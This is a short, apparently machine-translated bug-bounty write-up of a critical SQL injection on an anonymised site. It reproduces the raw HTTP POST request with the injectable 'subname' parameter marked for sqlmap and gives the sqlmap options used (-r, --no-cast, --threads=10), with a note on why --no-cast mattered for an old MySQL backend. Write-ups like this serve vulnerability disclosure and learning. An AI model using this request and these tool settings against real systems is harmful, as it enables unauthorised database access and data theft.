"Critical" XXXX network SQL injection

RANK 80

Gold 100

Data package

POST Xxxx/sendapp http/1.1
Host:aaa.bbb.com
user-agent:mozilla/5.0 (Windows NT 6.1; Win64; x64; rv:57.0) gecko/20100101 firefox/57.0
Accept:application/json, Text/javascript, */*; q=0.01
accept-language:zh-cn,zh;q=0.8,zh-tw;q=0.7,zh-hk;q=0.5,en-us;q=0.3,en;q=0.2
Referer:xxxx
content-type:application/x-www-form-urlencoded; Charset=utf-8
X-requested-with:xmlhttprequest
Content-length:21
Cookie:xxxxx
Dnt:1
Connection:close

Subname=admin*&group=1

Parameter subname can be injected, directly save the packet as TXT,-R,--no-cast--threads=10 is good

It took a long time to no-cast, not yet looked at what it meant. There is an explanation for this:

By default, Sqlmap extracts all the results into strings and replaces null results with spaces

The old MySQL database does not fetch data for this, so this parameter is required to cancel this default processing mode

Injection point, or the depth and breadth of the scanner crawler, analog login to load cookies, tokens, etc.

Later check, the original location is in the Account Management function module binding account, that is, a account binding sub-account b,b name can be injected. This point, it is true that the scanner will sweep is a problem. Digging a hole is still about drilling.

"Critical" XXXX network SQL injection